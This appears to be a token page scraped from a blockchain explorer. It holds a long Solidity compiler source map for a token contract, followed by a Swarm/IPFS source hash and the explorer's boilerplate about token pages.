2699:6200:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4091:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4854:159;;;;;;;;;;-1:-1:-1;4854:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;4854:159:0;1023:187:1;2872:70:0;;;;;;;;;;-1:-1:-1;2872:70:0;;;;-1:-1:-1;;;;;2872:70:0;;;;;;-1:-1:-1;;;;;1379:32:1;;;1361:51;;1349:2;1334:18;2872:70:0;1215:203:1;4295:100:0;;;;;;;;;;-1:-1:-1;4375:12:0;;4295:100;;;1569:25:1;;;1557:2;1542:18;4295:100:0;1423:177:1;5021:336:0;;;;;;;;;;-1:-1:-1;5021:336:0;;;;;:::i;:::-;;:::i;4193:94::-;;;;;;;;;;-1:-1:-1;4270:9:0;;4193:94;;4270:9;;;;2208:36:1;;2196:2;2181:18;4193:94:0;2066:184:1;3039:49:0;;;;;;;;;;-1:-1:-1;3039:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3183:44;;;;;;;;;;-1:-1:-1;3183:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3313:26;;;;;;;;;;;;;;;;3382:27;;;;;;;;;;-1:-1:-1;3382:27:0;;;;-1:-1:-1;;;;;3382:27:0;;;3346;;;;;;;;;;;;;;;;3138:36;;;;;;;;;;-1:-1:-1;3138:36:0;;;;-1:-1:-1;;;;;3138:36:0;;;4403:119;;;;;;;;;;-1:-1:-1;4403:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4496:18:0;4469:7;4496:18;;;:9;:18;;;;;;;4403:119;2322:148;;;;;;;;;;;;;:::i;:::-;;2125:79;;;;;;;;;;-1:-1:-1;2163:7:0;2190:6;-1:-1:-1;;;;;2190:6:0;2125:79;;3985:98;;;;;;;;;;;;;:::i;4530:165::-;;;;;;;;;;-1:-1:-1;4530:165:0;;;;;:::i;:::-;;:::i;8007:852::-;;;:::i;4703:143::-;;;;;;;;;;-1:-1:-1;4703:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4811:18:0;;;4784:7;4811:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4703:143;7967:33;;;;;;;;;;;;;;;;2478:214;;;;;;;;;;-1:-1:-1;2478:214:0;;;;;:::i;:::-;;:::i;4091:94::-;4139:13;4172:5;4165:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4091:94;:::o;4854:159::-;4929:4;4946:37;4955:10;4967:7;4976:6;4946:8;:37::i;:::-;-1:-1:-1;5001:4:0;4854:159;;;;;:::o;5021:336::-;5119:4;5136:36;5146:6;5154:9;5165:6;5136:9;:36::i;:::-;-1:-1:-1;;;;;5187:19:0;;3302:1;5187:19;;;:11;:19;;;;;;;;5207:10;5187:31;;;;;;;;-1:-1:-1;;5187:38:0;5183:145;;-1:-1:-1;;;;;5276:19:0;;;;;;:11;:19;;;;;;;;5296:10;5276:31;;;;;;;;:40;;5310:6;;5276:40;:::i;:::-;-1:-1:-1;;;;;5242:19:0;;;;;;:11;:19;;;;;;;;5262:10;5242:31;;;;;;;:74;5183:145;-1:-1:-1;5345:4:0;5021:336;;;;;:::o;2322:148::-;2252:6;;-1:-1:-1;;;;;2252:6:0;2262:10;2252:20;2244:50;;;;-1:-1:-1;;;2244:50:0;;;;;;;:::i;:::-;;;;;;;;;2429:1:::1;2413:6:::0;;2392:40:::1;::::0;-1:-1:-1;;;;;2413:6:0;;::::1;::::0;2392:40:::1;::::0;2429:1;;2392:40:::1;2460:1;2443:19:::0;;-1:-1:-1;;;;;;2443:19:0::1;::::0;;2322:148::o;3985:98::-;4035:13;4068:7;4061:14;;;;;:::i;4530:165::-;4608:4;4625:40;4635:10;4647:9;4658:6;4625:9;:40::i;8007:852::-;2252:6;;-1:-1:-1;;;;;2252:6:0;2262:10;2252:20;2244:50;;;;-1:-1:-1;;;2244:50:0;;;;;;;:::i;:::-;8076:18:::1;::::0;:23;8068:50:::1;;;::::0;-1:-1:-1;;;8068:50:0;;4328:2:1;8068:50:0::1;::::0;::::1;4310:21:1::0;4367:2;4347:18;;;4340:30;-1:-1:-1;;;4386:18:1;;;4379:45;4441:18;;8068:50:0::1;4126:339:1::0;8068:50:0::1;8230:14;:27:::0;;-1:-1:-1;;;;;;8230:27:0::1;8174:42;8230:27:::0;;::::1;::::0;;;8288:4:::1;8131:25;8268:26:::0;;;:11:::1;:26;::::0;;;;;;;:47;;;;;;;;-1:-1:-1;;8268:53:0;;8380:20;;-1:-1:-1;;;8380:20:0;;;;8174:42;;8380:18:::1;::::0;:20:::1;::::0;;::::1;::::0;;;;;;;8174:42;8380:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8334:67;;8412:16;8431:11;-1:-1:-1::0;;;;;8431:22:0::1;;8462:4;8469:10;-1:-1:-1::0;;;;;8469:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8431:56;::::0;-1:-1:-1;;;;;;8431:56:0::1;::::0;;;;;;-1:-1:-1;;;;;4956:15:1;;;8431:56:0::1;::::0;::::1;4938:34:1::0;5008:15;;4988:18;;;4981:43;4873:18;;8431:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8498:12;:23:::0;;-1:-1:-1;;;;;;8498:23:0::1;-1:-1:-1::0;;;;;8498:23:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;8532:22:0;;;:12:::1;:22;::::0;;;;;;;:29;;-1:-1:-1;;8532:29:0;;::::1;-1:-1:-1::0;8532:29:0;;::::1;::::0;;;8574:38;;::::1;::::0;;;:17:::1;:38:::0;;;;;:45;;;;::::1;::::0;::::1;::::0;;;8685:4:::1;4496:18:::0;;;;;;;;;8498:23;;-1:-1:-1;8574:38:0;;8632:26:::1;::::0;8666:9:::1;::::0;8716:1:::1;8718::::0;8720:7:::1;2163::::0;2190:6;-1:-1:-1;;;;;2190:6:0;;2125:79;8720:7:::1;8632:112;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8632:112:0;;;-1:-1:-1;;;;;5394:15:1;;;8632:112:0::1;::::0;::::1;5376:34:1::0;5426:18;;;5419:34;;;;5469:18;;;5462:34;;;;5512:18;;;5505:34;5576:15;;;5555:19;;;5548:44;8728:15:0::1;5608:19:1::0;;;5601:35;5310:19;;8632:112:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8755:50:0::1;::::0;-1:-1:-1;;;8755:50:0;;-1:-1:-1;;;;;6150:32:1;;;8755:50:0::1;::::0;::::1;6132:51:1::0;-1:-1:-1;;6199:18:1;;;6192:34;8755:24:0;::::1;::::0;-1:-1:-1;8755:24:0::1;::::0;6105:18:1;;8755:50:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8839:12:0::1;8818:18;:33:::0;-1:-1:-1;;8007:852:0:o;2478:214::-;2252:6;;-1:-1:-1;;;;;2252:6:0;2262:10;2252:20;2244:50;;;;-1:-1:-1;;;2244:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2567:22:0;::::1;2559:43;;;::::0;-1:-1:-1;;;2559:43:0;;6721:2:1;2559:43:0::1;::::0;::::1;6703:21:1::0;6760:1;6740:18;;;6733:29;-1:-1:-1;;;6778:18:1;;;6771:38;6826:18;;2559:43:0::1;6519:331:1::0;2559:43:0::1;2639:6;::::0;;2618:38:::1;::::0;-1:-1:-1;;;;;2618:38:0;;::::1;::::0;2639:6;::::1;::::0;2618:38:::1;::::0;::::1;2667:6;:17:::0;;-1:-1:-1;;;;;;2667:17:0::1;-1:-1:-1::0;;;;;2667:17:0;;;::::1;::::0;;;::::1;::::0;;2478:214::o;5365:177::-;-1:-1:-1;;;;;5450:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5502:32;;1569:25:1;;;5502:32:0;;1542:18:1;5502:32:0;;;;;;;5365:177;;;:::o;5550:1022::-;-1:-1:-1;;;;;5715:16:0;;5664:12;5715:16;;;:12;:16;;;;;;5664:12;;5715:16;;:27;;;;-1:-1:-1;5736:6:0;;;;5735:7;5715:27;:55;;;;-1:-1:-1;;;;;;5747:23:0;;;;;;:17;:23;;;;;;;;5746:24;5715:55;:81;;;;-1:-1:-1;;;;;;5775:21:0;;;;;;:17;:21;;;;;;;;5774:22;5715:81;5711:527;;;5862:4;5813:28;4496:18;;;:9;:18;;;;;;5887:24;;5883:344;;5962:6;6009:42;;;:147;;6137:19;6009:147;;;6116:20;6009:147;5987:169;;6175:36;6191:19;6175:15;:36::i;:::-;5913:314;5883:344;5798:440;5711:527;-1:-1:-1;;;;;6252:16:0;;;;;;:12;:16;;;;;;;;:44;;;;-1:-1:-1;;;;;;6273:23:0;;;;;;:17;:23;;;;;;;;6272:24;6252:44;6248:84;;;6313:10;;-1:-1:-1;;;;;6313:10:0;:18;6306:4;:25;6298:34;;;;;;-1:-1:-1;;;;;6348:23:0;;;;;;:17;:23;;;;;;;;6347:24;:50;;;;-1:-1:-1;;;;;;6376:21:0;;;;;;:17;:21;;;;;;;;6375:22;6347:50;:61;;;;-1:-1:-1;6402:6:0;;;;6401:7;6347:61;6343:108;;;6435:4;6425:14;;6343:108;-1:-1:-1;;;;;6467:16:0;;;;;;:12;:16;;;;;;;;6463:40;;;-1:-1:-1;6496:4:0;6463:40;6515:49;6530:4;6536:2;6540:6;6548:7;6557:6;6515:14;:49::i;:::-;5653:919;;5550:1022;;;:::o;7531:428::-;3450:6;:13;;-1:-1:-1;;3450:13:0;3459:4;3450:13;;;7632:16:::1;::::0;;7646:1:::1;7632:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7632:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7632:16:0::1;7608:40;;7677:4;7659;7664:1;7659:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7659:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7703:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;7703:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;7659:7;;7703:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7693:4;7698:1;7693:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7693:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;7739:14:::1;::::0;7888:10:::1;::::0;7739:201:::1;::::0;-1:-1:-1;;;7739:201:0;;:14;;::::1;::::0;:65:::1;::::0;:201:::1;::::0;7819:11;;7739:14:::1;::::0;7861:4;;7888:10;;::::1;::::0;7914:15:::1;::::0;7739:201:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;7735:217:::0;-1:-1:-1;;3486:6:0;:14;;-1:-1:-1;;3486:14:0;;;7531:428::o;6580:943::-;6754:17;6788:7;6784:505;;;6826:14;6861:6;6857:121;;;-1:-1:-1;6897:8:0;;6857:121;;;-1:-1:-1;6955:7:0;;6857:121;6992:18;7032:3;7013:16;7023:6;7013:7;:16;:::i;:::-;:22;;;;:::i;:::-;6992:43;-1:-1:-1;7054:14:0;;7050:228;;7089:23;7102:10;7089:23;;:::i;:::-;7176:4;7158:24;;;;:9;:24;;;;;;7089:23;;-1:-1:-1;7158:37:0;;7185:10;;7158:37;:::i;:::-;7149:4;7131:24;;;;:9;:24;;;;;;;:64;;;;7219:43;;-1:-1:-1;;;;;7219:43:0;;;;;;;7251:10;1569:25:1;;1557:2;1542:18;;1423:177;7219:43:0;;;;;;;;7050:228;6797:492;;6784:505;7303:10;;-1:-1:-1;;;;;7293:20:0;;;7303:10;;7293:20;7290:81;;-1:-1:-1;;;;;7344:17:0;;;;;;:9;:17;;;;;;:27;;7364:7;;7344:27;:::i;:::-;-1:-1:-1;;;;;7324:17:0;;;;;;:9;:17;;;;;:47;7290:81;7429:19;7439:9;7429:7;:19;:::i;:::-;-1:-1:-1;;;;;7405:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;7382:20:0;;;;;;;:9;:20;;;;;:67;;;;7465:48;;;7493:19;7503:9;7493:7;:19;:::i;:::-;7465:48;;1569:25:1;;;1557:2;1542:18;7465:48:0;;;;;;;6743:780;6580:943;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;:::-;2491:5;2255:247;-1:-1:-1;;;2255:247:1:o;2737:388::-;2805:6;2813;2866:2;2854:9;2845:7;2841:23;2837:32;2834:52;;;2882:1;2879;2872:12;2834:52;2921:9;2908:23;2940:31;2965:5;2940:31;:::i;:::-;2990:5;-1:-1:-1;3047:2:1;3032:18;;3019:32;3060:33;3019:32;3060:33;:::i;:::-;3112:7;3102:17;;;2737:388;;;;;:::o;3130:380::-;3209:1;3205:12;;;;3252;;;3273:61;;3327:4;3319:6;3315:17;3305:27;;3273:61;3380:2;3372:6;3369:14;3349:18;3346:38;3343:161;;3426:10;3421:3;3417:20;3414:1;3407:31;3461:4;3458:1;3451:15;3489:4;3486:1;3479:15;3343:161;;3130:380;;;:::o;3515:127::-;3576:10;3571:3;3567:20;3564:1;3557:31;3607:4;3604:1;3597:15;3631:4;3628:1;3621:15;3647:128;3714:9;;;3735:11;;;3732:37;;;3749:18;;:::i;3780:341::-;3982:2;3964:21;;;4021:2;4001:18;;;3994:30;-1:-1:-1;;;4055:2:1;4040:18;;4033:47;4112:2;4097:18;;3780:341::o;4470:251::-;4540:6;4593:2;4581:9;4572:7;4568:23;4564:32;4561:52;;;4609:1;4606;4599:12;4561:52;4641:9;4635:16;4660:31;4685:5;4660:31;:::i;5647:306::-;5735:6;5743;5751;5804:2;5792:9;5783:7;5779:23;5775:32;5772:52;;;5820:1;5817;5810:12;5772:52;5849:9;5843:16;5833:26;;5899:2;5888:9;5884:18;5878:25;5868:35;;5943:2;5932:9;5928:18;5922:25;5912:35;;5647:306;;;;;:::o;6237:277::-;6304:6;6357:2;6345:9;6336:7;6332:23;6328:32;6325:52;;;6373:1;6370;6363:12;6325:52;6405:9;6399:16;6458:5;6451:13;6444:21;6437:5;6434:32;6424:60;;6480:1;6477;6470:12;6987:127;7048:10;7043:3;7039:20;7036:1;7029:31;7079:4;7076:1;7069:15;7103:4;7100:1;7093:15;7119:980;7381:4;7429:3;7418:9;7414:19;7460:6;7449:9;7442:25;7486:2;7524:6;7519:2;7508:9;7504:18;7497:34;7567:3;7562:2;7551:9;7547:18;7540:31;7591:6;7626;7620:13;7657:6;7649;7642:22;7695:3;7684:9;7680:19;7673:26;;7734:2;7726:6;7722:15;7708:29;;7755:1;7765:195;7779:6;7776:1;7773:13;7765:195;;;7844:13;;-1:-1:-1;;;;;7840:39:1;7828:52;;7935:15;;;;7900:12;;;;7876:1;7794:9;7765:195;;;-1:-1:-1;;;;;;;8016:32:1;;;;8011:2;7996:18;;7989:60;-1:-1:-1;;;8080:3:1;8065:19;8058:35;7977:3;7119:980;-1:-1:-1;;;7119:980:1:o;8104:168::-;8177:9;;;8208;;8225:15;;;8219:22;;8205:37;8195:71;;8246:18;;:::i;8277:217::-;8317:1;8343;8333:132;;8387:10;8382:3;8378:20;8375:1;8368:31;8422:4;8419:1;8412:15;8450:4;8447:1;8440:15;8333:132;-1:-1:-1;8479:9:1;;8277:217::o;8499:125::-;8564:9;;;8585:10;;;8582:36;;;8598:18;;:::i

Swarm Source

ipfs://34fd7adbec6162e0734cc22e1f0577a0b65702a80fb78f9ec9926af190477070
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.